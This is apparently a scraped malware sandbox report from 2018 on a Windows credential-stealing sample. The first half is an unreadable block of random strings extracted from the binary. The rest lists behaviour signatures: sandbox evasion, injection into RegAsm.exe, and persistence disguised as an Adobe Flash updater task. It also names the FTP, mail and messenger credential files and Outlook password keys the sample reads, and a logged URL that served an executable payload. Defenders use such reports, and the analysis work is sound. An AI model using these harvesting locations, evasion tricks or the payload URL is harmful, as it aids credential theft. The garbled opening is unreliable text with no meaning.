(L%r
jhJn
a gw
S]rO
)Hw#_-
EFR&
3}Y
YWw2ea
Nvtj&
_WZJW
e&Zcg
rql[q
UT[|
>9yv+,
aAYX|]]R
^pn>
|YW<m
Q_*6
/e>!*+/q
yV3[
$IjS
Alvo
$-.
S_c\\
Wb,I!
Rc$9-^ y
KVD0Y
=52\=.;/\
YWsX
+J*F/c
5d?
,TL^
(/90:\ >?\5203;32\
31YQf
d%A<
ICHm
24TnB[
ZlD[
#Sl8E
\W{y.[
"%|#Ei
L@Z[
g9h/G
;8#@?
x{jpZ
kbGFH$1>
,13gH
\^+&
]eND9Z
gW]T&
.*;W
[JAYRAYAYM\|
T[G=FrbM[S
MRegWeTnZ
IIM 1.
Z+<$
,*QL
8^v"
)fo+P
MeB2e
NY8y
<u:p
%$nZB
W|}_(
rZ^O
Dx]!
pR& #C
h{'|M
D[/<o
P9A'
%Q_
8-`?-RqH
j}lY
m^CQon
(QQce
2-1J#
dV)%
uk&#
N<mV
^Wct
%m-;
ii\\}\
[T L
RIVRZ\_
Ayx<6
rZ^
[dx
T"~
bK>Y
)s&
?WmWPY
ioq=m>9qe
vjKk
]]\H*\\\\
!iK
66Ce
R\\\P@_WjO i
^h^<
n\Z<
hUEvv
!Z,5
PFTl)Q1E
hWLa
H[.Qx
HA}n
HZ$p
>JTf
^5\a\
2tX?Z
KO[OyT
GetTypeFromHandle
8^vC
5@\z
(MKGb@
m[\\
3 xr
=<,Rz+
s86{G
} rV
W:T jH
Q2[B
tgV?
_WjK
I jE
_\\\\\\\\\\\\\\\\\\\\\
wCNz7
FH1Td
C{yU
RT|_]R@M
_WJP\|E
w9]
u47sV
:;\.s
hj/Qo
UI_U
o0G~
WKKW![
}nwR$J2
Co]'
L"[o
U.J`:+
JOIi&
;Oxy
QZ|
JrL2K
9?31,.9//98\
joGj
85`lS=
KCh/
\\]\]\\\\\\\
_VXWt
_OjX
((=?498\
XBWECW=y
}(M?
[BEJ&_
(sVW]
Era R
UUC`
[T\<^
@]J0
]FAJ
+_W-U>
@K9W
UU[_N
x`NZ
\8]\\\\
]%Sc^
Bw/,m
>sbL
69d=
,%Ar'c
\\\\L\%7KXc\
_Ojz
?(532/|
M4Wx%
we`
5[-V
=FR<N
^#F4nN/
3<\%
S.cL
beXT[s
1|0O
System.Collections.Generic
003?
D<DZ\8U
AYTT\]N
WQeC
an`\\
R2sW
fr)o
D'|[P
DPW9QW
]jEKJE[L
003+
=2809\+3+jh.3?9//\/9(79.2903>69?(/9?).5(%\
$_~+
-2&j
qccvi
[7[/[
KH7K
Cgej
,s+
~qp+
^6,W
epQL
]PR_G^P{^S
KA]cr2
ulk
\\\\\\\\L\\\\
WaPSC
)e[y]
N[)dL
;^S
T~_E
-'4
[]\
eQ1DS.L
\\R\
@WXu,T,TN[[3E
_VP[
System.Runtime.CompilerServices
L2ZB
'0B
yMTg
RWuT
F\AsMt
2h(V
q^\`
^w]JVZpS5
:^lA@
e"Fm
Grtr?
\ylMy\M
\.\=\2\/\0\=\(\5\3\2\\\\\\\
#x0j(OG
zsb#
u!>d
System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
pcFw
T_/Foe
^W tJxQ|K|[
]^]\\S
nu /3
;7ym}
KSmt
xz~7
hke@o
\\\\L\J-!Xc\l
s& ]
TQ)D
eTdd
_W:5[
1,B^z
_WRVWsN
me.@/+
O@OHdIo\
O9V
NZqa]zZ
MOOR=
8T\\L_[
:7nXC
W|~^
rn^@
9v|
)Jp3
TSYFi~
3W%Z
Do8g
T?@k
DeXW
[T\t^
n,,[L
4RN(
oNj*Bd
509\
',(
_Q-`U
XQU{BBTd
/e /e
OZY R0
\\\\L\D(
Z}3V
[7oS^&
\\\\L\D$
=HwG
_r}J
O]!#
]M\^\
[AT^Z[X
929.5?\
31,.9//98\.5(9
)*(0
`wkhG#d^mqq\KTJ_\
N!AM
5=;23/(5?/\,.3?9//\
\=-=$
8/[A
i9
U T1O
vpr<
45UJp
KWpSWzQ
'^I[^ e
.IC'
5u2a
>q N
9/?.5,(3.\;9(79.2903>69?(/9?).5(%\2
DW'Xm
z=t+
%92
;V8=z
:9e*
_-l _%]/U
L*d>
yJL\
~f,t3d
@|iK
YVP74i
PN^TNn
\[:<s
m W
c_d@
~XpkR^
Y^CLK
]]B\AYV
8 t^H
JR{NW
UZ@Sn
p=.
$CZ4
@_&oW
$9?)(=>09\
~+!
U|!;S3
hW:AW
{ 5|M
Q]]A
Sut?
YV[OXI
q72#<$ q'
VOstZ
XX.W
eke{VK
\\\\\\\\\\\\\\\\
RZ_ ^
XX.J
_TN-
_?ET
+ W@
P_/Z'0
-c46
5QM/
^\\.\\\
WGIWpJW|B
]\OlX\
A7;6
@=WL
St^H
|K_C|KEItJ
\yD_\q
gBt+c
_Qfnp[Dm3oN^h|T?88
}Ad$9b
E B
PRz$r<s
T[G)
_JV~n
'(U=
Wi\
\OXMXK
sgf7h
PO?U
\_k~
,?#|
qu`gn
<` S
a%tPw
0fMQc
nYc\
*W.}
3J2He
.b>
%!x(
vGki
5283+
9amJv
zSu&
6UWw
Sp5~
df\(
SIV;
LlOWZ[MUNG
@<=IJ
l_;e
*Vzb\O
gD99
k/c
EZ\]DN
]L\g
yc1Z0
>!hj@
Op|'~
UW|FW
dTJ2
f.n{
H9UXNmg1LFHmnAbiPlRFXqgwXE
{:j1
J_)0ap
J\18
Tud%
h ^F
}&yz
*&jr
VN\th||
rY%;
YYRB}M
V"wo
[M2IF
]@u :
L]Z"5)14d
3gqq
[KmW
!VmjJ
y,@Q
FJR4
JNF5S;
N\{M
3)-Y(v=
X-Q]7
WV[WI@
S)P-
w_k[\-
\.\9\=\(\5\3\2\
C"C;&2sX_
zT.[D
+CSbC
r7<K
4d\
H3ZB
EC0]<
'I2
o^`m
_^\ \m
<OWj
tY?G,
HtS
IEB"
_~R=
q \SEa
^;ii
hhl>e
lMJZDCK
LOG!
O@m]M\/
CEUm
3?fQPYL
%7@
QT\u\\/()>r9$9\1/?3.05>\ 2*9.5:5=>09
m?7f
8152\
Kyg0
iHgN.
zCuZ
/3U >a
{w@y
GR5o$
&9a}<
'a8+
.._R
[X7a
i 9Wm
mO^v
]8+I
Xtq)
FCW TW
j(&
S0]DW_
S#zp
lDq
(p# ^a
(2[
EO_v
&=-M
mTo~
BUr:k
O[Tf
Kg+-
IEnumerable`1
[Hp3
\4UC\?(iy
G;l;
dFU(S
_WG^
_h>_Z^
%/<
0k8K
T!P/~
r8))
}gN
i sf(5H
Pi\ EWU}
-VS<_USKX
p[%f]
WmiB`w
5IZHoL
HFA
]Q=%
_Dho
<SY:
bMQk
WWdM
BG5&
~!R
VYN{Z}
w[W6TW
Kts&
1-FFTh/
zW,Z
nWzO
?t^vcNW
o>cy
&vd8K
*JJ$
J) X
:,.v
RWHDW
,1A^4
4.9=8\
wfR2gO
EUWYW
EMN n]oFsE
RMEv
u]dE]
.fFp2%
>qk/
#Iq
{-Kb
_-HM
F^S"
>n0e
>9zHw
uPwzY@
Xm<M_C
$x(5
+|]
p&*M
d]:(
0=//d\`
@_c\
=0Z8[
^,-
YVOPMT/U
j(?o
IE@ ]1q
md[-
yU|X^SYTULUS|ZN
zppH/
gG7P0
8V^[
`o@7
\8]W]L\
'+~^
6}t
KPHo
t/KG
7 X[
`qj
oBdW
O_ __S
P`WF
3mxg
MlZe
/s a
]%_em
[X7LN
ibxI
r"VO
loFzt0
q3:o
OZx3
N>y[
md*o
tB2 5
Np\T
Da|
(>I)
-pn\_
Swr
QO/h
]<A6
TWSF
UQJQ
"bnn&
Cm-x
^^#v
>J,{h
OX/C?
]cz2
|TvN
QE[e
n))
FQ!0
v)e[
p``@
Z)T:T
Fyb*W
3HA2
//91>0%\;9(
_V.fMM~
\\}] \h]_]\\A
xB#
'w6s
%Z~$YH
3375RXS=^
^Waz
5=03;
|(Pf
*dW
.c|-]
ELL 2
W_Mt
;[BL^
`\\\\L\zX
X`BS
g"mF
YaTA
EYZF
,M6O
UZ\]TN
F|sBMe
z^3}]
yW@\
grGZV;+
S+_2
HPW@M
yUZ4
{KB7$
x$UA]T
S y7Y
W^QN_ZS
F%t~
}yp*
aIgn
FfZ4
]+Z
FW(W
aUS
hkaEK
6&jb
)v>d
vV(t
#&~
XHzT
VECI
@u]u
^W_X5
YZ]w
0Y5t
Y_}|
Behavior analysis details | |||||
---|---|---|---|---|---|
Machine name | Machine label | Machine manager | Started | Ended | Duration |
Seven04b_64 | Seven04b_64 | VirtualBox | 2018-06-30 20:10:31 | 2018-06-30 20:14:42 | 251 |
22 Behaviors detected by system signatures
Collects information to fingerprint the system
Severity: High
Confidence: High
A process attempted to delay the analysis task by a long amount of time.
Severity: High
Confidence: Very High
- Process: filename.exe tried to sleep 310 seconds, actually delayed analysis time by 0 seconds
- Process: RegAsm.exe tried to sleep 7464 seconds, actually delayed analysis time by 0 seconds
Attempts to repeatedly call a single API many times in order to delay analysis time
Severity: High
Confidence: Very High
- Spam: services.exe (484) called API GetSystemTimeAsFileTime 460624 times
Installs itself for autorun at Windows startup
Severity: High
Confidence: Very High
- file: C:\Windows\Tasks\Adobe Flash Player Updater.job
Creates a hidden or system file
Severity: High
Confidence: Medium
- file: C:\Users\Seven01\AppData\Roaming\zxftyytre\filename.exe
Retrieves Windows ProductID, probably to fingerprint the sandbox
Severity: High
Confidence: Very High
Harvests credentials from local FTP client softwares
Severity: High
Confidence: Very High
- file: C:\Users\Seven01\AppData\Roaming\FileZilla\recentservers.xml
- file: C:\Users\Seven01\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\
- file: C:\Users\Seven01\AppData\Roaming\Ipswitch\WS_FTP\Sites\ws_ftp.ini
- key: HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites
Harvests information related to installed instant messenger clients
Severity: High
Confidence: Very High
- file: C:\Users\Seven01\AppData\Roaming\.purple\accounts.xml
- key: HKEY_CURRENT_USER\Software\Paltalk
Harvests information related to installed mail clients
Severity: High
Confidence: Very High
- file: C:\Users\Seven01\AppData\Roaming\Thunderbird\profiles.ini
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\IMAP Password
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\IMAP Password
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\HTTP Password
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\Email
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\POP3 Password
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\SMTP Password
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\HTTP Password
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\IMAP Password
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\POP3 Password
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\SMTP Password
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\POP3 Password
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\HTTP Password
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\SMTP Password
- key: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
- key: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Attempts to interact with an Alternate Data Stream (ADS)
Severity: High
Confidence: Very High
- file: C:\Users\Seven01\AppData\Local\Temp\NSE.exe:ZONE.identifier
- file: C:\Users\Seven01\AppData\Roaming\zxftyytre\filename.exe:ZONE.identifier
Executed a process and injected code into it, probably while unpacking
Severity: High
Confidence: Very High
- Injection: filename.exe(2624) -> RegAsm.exe(2280)
Deletes its original binary from disk
Severity: High
Confidence: Very High
Creates RWX memory
Severity: Medium
Confidence: Medium
At least one IP Address, Domain, or File Name was found in a crypto call
Severity: Medium
Confidence: Very High
- ioc: inetsim.org0
A process created a hidden window
Severity: Medium
Confidence: Very High
- Process: NSE.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
- Process: filename.exe -> "cmd"
HTTP traffic contains suspicious features which may be indicative of malware related traffic
Severity: Medium
Confidence: Low
- get_no_useragent: HTTP traffic contains a GET request with no user-agent header
- suspicious_request: http://checkip.dyndns.org/
- suspicious_request: http://www.paulocamarao.com/wp-log/WINHOSTOUT.exe
Performs some HTTP requests
Severity: Medium
Confidence: Low
- url: http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
- url: http://checkip.dyndns.org/
- url: http://www.paulocamarao.com/wp-log/WINHOSTOUT.exe
Unconventionial language used in binary resources: Korean
Severity: Medium
Confidence: Very High
The binary likely contains encrypted or compressed data.
Severity: Medium
Confidence: Very High
- section: name: .text, entropy: 7.39, characteristics: IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ, raw_size: 0x00038e00, virtual_size: 0x00038d54
- section: name: .rsrc, entropy: 7.99, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ, raw_size: 0x0008e200, virtual_size: 0x0008e0c8
Attempts to connect to a dead IP:Port (2 unique times)
Severity: Low
Confidence: Very High
- IP: 192.168.56.1:443
- IP: 192.168.56.1:80
Behavior analysis details | |||||
---|---|---|---|---|---|
Machine name | Machine label | Machine manager | Started | Ended | Duration |
Seven04b_64 | Seven04b_64 | VirtualBox | 2018-06-30 20:10:31 | 2018-06-30 20:14:42 | 251 |
12 Summary items with data
Files
C:\Windows\System32\MSCOREE.DLL.local C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll C:\Windows\Microsoft.NET\Framework\* C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll C:\Users\Seven01\AppData\Local\Temp\NSE.exe.config C:\Users\Seven01\AppData\Local\Temp\NSE.exe C:\Users\Seven01\AppData\Local\Temp\api-ms-win-appmodel-runtime-l1-1-0.dll C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-0.dll C:\Windows\system\api-ms-win-appmodel-runtime-l1-1-0.dll C:\Windows\api-ms-win-appmodel-runtime-l1-1-0.dll C:\ProgramData\Oracle\Java\javapath\api-ms-win-appmodel-runtime-l1-1-0.dll C:\Windows\System32\wbem\api-ms-win-appmodel-runtime-l1-1-0.dll C:\Windows\System32\WindowsPowerShell\v1.0\api-ms-win-appmodel-runtime-l1-1-0.dll C:\Users\Seven01\AppData\Local\Temp\NSE.exe.Local\ C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e\msvcr80.dll C:\Windows C:\Windows\winsxs C:\Windows\Microsoft.NET\Framework\v4.0.30319 C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config C:\Windows\Microsoft.NET\Framework\v2.0.50727\fusion.localgac C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch C:\Windows\assembly\NativeImages_v2.0.50727_32\index126.dat C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.INI C:\Users C:\Users\Seven01 C:\Users\Seven01\AppData C:\Users\Seven01\AppData\Local C:\Users\Seven01\AppData\Local\Temp C:\Windows\System32\l_intl.nls C:\Windows\Microsoft.NET\Framework\v2.0.50727\ole32.dll \Device\KsecDD C:\Users\Seven01\AppData\Local\Temp\NSE.INI C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll C:\Windows\assembly\pubpol23.dat C:\Windows\assembly\GAC\PublisherPolicy.tme C:\Windows\assembly\NativeImages_v2.0.50727_32\System\9e0a3b9b9f457233a335d7fba8f95419\System.ni.dll C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\dbfe8642a8ed7b2b103ad28e0c96418a\System.Drawing.ni.dll C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\3afcd5168c7a6cb02eab99d7fd71e102\System.Windows.Forms.ni.dll C:\Windows\assembly\GAC_MSIL\System.Windows.Forms\2.0.0.0__b77a5c561934e089\System.Windows.Forms.INI C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.INI C:\Windows\assembly\GAC_MSIL\System.Drawing\2.0.0.0__b03f5f7f11d50a3a\System.Drawing.INI C:\Windows\Globalization\it-it.nlp C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp C:\Users\Seven01\AppData\Local\Temp\it-IT\DDHATXoutz.resources.dll C:\Users\Seven01\AppData\Local\Temp\it-IT\DDHATXoutz.resources\DDHATXoutz.resources.dll C:\Users\Seven01\AppData\Local\Temp\it-IT\DDHATXoutz.resources.exe C:\Users\Seven01\AppData\Local\Temp\it-IT\DDHATXoutz.resources\DDHATXoutz.resources.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorrc.dll C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorrc.dll.DLL C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\mscorrc.dll C:\Windows\Globalization\it.nlp C:\Users\Seven01\AppData\Local\Temp\it\DDHATXoutz.resources.dll C:\Users\Seven01\AppData\Local\Temp\it\DDHATXoutz.resources\DDHATXoutz.resources.dll C:\Users\Seven01\AppData\Local\Temp\it\DDHATXoutz.resources.exe C:\Users\Seven01\AppData\Local\Temp\it\DDHATXoutz.resources\DDHATXoutz.resources.exe C:\Windows\Globalization\en-us.nlp C:\Windows\assembly\GAC_32\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089 C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089 C:\Windows\assembly\GAC\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089 C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources.dll C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources\mscorlib.resources.dll C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources.exe C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources\mscorlib.resources.exe C:\Windows\assembly\GAC_32\mscorlib.resources\2.0.0.0_it_b77a5c561934e089 C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089 C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.INI C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll C:\Users\Seven01\AppData\Local\Temp\RunPEDll.dll C:\Users\Seven01\AppData\Local\Temp\RunPEDll\RunPEDll.dll C:\Users\Seven01\AppData\Local\Temp\RunPEDll.exe C:\Users\Seven01\AppData\Local\Temp\RunPEDll\RunPEDll.exe C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources.dll C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources\stub.resources.dll C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources.exe C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources\stub.resources.exe C:\Users\Seven01\AppData\Local\Temp\it\stub.resources.dll C:\Users\Seven01\AppData\Local\Temp\it\stub.resources\stub.resources.dll C:\Users\Seven01\AppData\Local\Temp\it\stub.resources.exe C:\Users\Seven01\AppData\Local\Temp\it\stub.resources\stub.resources.exe C:\Users\Seven01\AppData\Local\Temp\NSE.exe:ZONE.identifier C:\Users\Seven01\AppData\Roaming\zxftyytre C:\Users\Seven01\AppData\Roaming C:\Users\Seven01\AppData\Roaming\zxftyytre\filename.exe \Device\NamedPipe\ C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.2388.4875359 C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.2388.4875359 C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.2388.4875390 C:\Windows\System32\Branding\Basebrd\Basebrd.dll C:\Windows\Branding\Basebrd\basebrd.dll C:\Windows\Globalization\Sorting\sortdefault.nls C:\Users\Seven01\AppData\Local\Temp\"C:\Users\Seven01\AppData\Roaming\zxftyytre\filename.exe" C:\Users\Seven01\AppData\Roaming\zxftyytre\filename.exe.config C:\Users\Seven01\AppData\Roaming\zxftyytre\api-ms-win-appmodel-runtime-l1-1-0.dll C:\Users\Seven01\AppData\Roaming\zxftyytre\filename.exe.Local\ C:\Users\Seven01\AppData\Roaming\zxftyytre\filename.INI C:\Users\Seven01\AppData\Roaming\zxftyytre\it-IT\DDHATXoutz.resources.dll C:\Users\Seven01\AppData\Roaming\zxftyytre\it-IT\DDHATXoutz.resources\DDHATXoutz.resources.dll C:\Users\Seven01\AppData\Roaming\zxftyytre\it-IT\DDHATXoutz.resources.exe C:\Users\Seven01\AppData\Roaming\zxftyytre\it-IT\DDHATXoutz.resources\DDHATXoutz.resources.exe C:\Users\Seven01\AppData\Roaming\zxftyytre\it\DDHATXoutz.resources.dll C:\Users\Seven01\AppData\Roaming\zxftyytre\it\DDHATXoutz.resources\DDHATXoutz.resources.dll C:\Users\Seven01\AppData\Roaming\zxftyytre\it\DDHATXoutz.resources.exe C:\Users\Seven01\AppData\Roaming\zxftyytre\it\DDHATXoutz.resources\DDHATXoutz.resources.exe C:\Users\Seven01\AppData\Roaming\zxftyytre\it-IT\mscorlib.resources.dll C:\Users\Seven01\AppData\Roaming\zxftyytre\it-IT\mscorlib.resources\mscorlib.resources.dll C:\Users\Seven01\AppData\Roaming\zxftyytre\it-IT\mscorlib.resources.exe C:\Users\Seven01\AppData\Roaming\zxftyytre\it-IT\mscorlib.resources\mscorlib.resources.exe C:\Users\Seven01\AppData\Roaming\zxftyytre\RunPEDll.dll C:\Users\Seven01\AppData\Roaming\zxftyytre\RunPEDll\RunPEDll.dll C:\Users\Seven01\AppData\Roaming\zxftyytre\RunPEDll.exe C:\Users\Seven01\AppData\Roaming\zxftyytre\RunPEDll\RunPEDll.exe C:\Users\Seven01\AppData\Roaming\zxftyytre\it-IT\stub.resources.dll C:\Users\Seven01\AppData\Roaming\zxftyytre\it-IT\stub.resources\stub.resources.dll C:\Users\Seven01\AppData\Roaming\zxftyytre\it-IT\stub.resources.exe C:\Users\Seven01\AppData\Roaming\zxftyytre\it-IT\stub.resources\stub.resources.exe C:\Users\Seven01\AppData\Roaming\zxftyytre\it\stub.resources.dll C:\Users\Seven01\AppData\Roaming\zxftyytre\it\stub.resources\stub.resources.dll C:\Users\Seven01\AppData\Roaming\zxftyytre\it\stub.resources.exe C:\Users\Seven01\AppData\Roaming\zxftyytre\it\stub.resources\stub.resources.exe C:\Users\Seven01\AppData\Roaming\zxftyytre\filename.exe:ZONE.identifier C:\Users\Seven01\AppData\Local\Temp\Update.txt C:\Users\Seven01\AppData\Local\Temp\840493973.xml C:\Windows\Microsoft.net\Framework\v2.0.50727 C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll C:\Users\Seven01\AppData\Local\Temp\1650946654.xml C:\Users\Seven01\AppData\Local\Temp\201350900.xml \Device\NamedPipe C:\Users\Seven01\AppData\Local\Temp\1168644672.xml C:\Users\Seven01\AppData\Local\Temp\1784734666.xml C:\Users\Seven01\AppData\Local\Temp\372828621.xml C:\Users\Seven01\AppData\Local\Temp\1452519068.xml C:\Users\Seven01\AppData\Local\Temp\214493901.xml C:\Users\Seven01\AppData\Local\Temp\1586929957.xml C:\Users\Seven01\AppData\Local\Temp\1325069775.xml C:\Users\Seven01\AppData\Local\Temp\257899452.xml C:\Users\Seven01\AppData\Local\Temp\1887260039.xml C:\Users\Seven01\AppData\Local\Temp\schtasks.exe C:\Users\Seven01\AppData\Local\Temp\schtasks.exe.* C:\ProgramData\Oracle\Java\javapath\schtasks.exe C:\ProgramData\Oracle\Java\javapath\schtasks.exe.* C:\Windows\System32\schtasks.exe C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui C:\Windows\sysnative\Tasks C:\Windows\sysnative\Tasks\* C:\Windows\sysnative\Tasks\Adobe Flash Player Updater C:\Windows\sysnative\Tasks\Update\Update \??\MountPointManager C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64 C:\Windows\AppPatch\sysmain.sdb C:\Windows\SysWOW64\ C:\Windows\SysWOW64\*.* C:\Windows\SysWOW64\ui\SwDRM.dll C:\Windows\SysWOW64\schtasks.exe C:\Windows\sysnative\Tasks\Update C:\Windows\sysnative\Tasks\Update\ C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe C:\Windows\appcompat\Programs\RecentFileCache.bcf C:\Windows\Microsoft.NET\Framework\v2.0.50727\ C:\Windows\Microsoft.NET\Framework\v2.0.50727\*.* C:\Windows\Microsoft.NET\Framework\v2.0.50727\ui\SwDRM.dll C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe C:\Windows\Temp\fwtsqmfile00.sqm 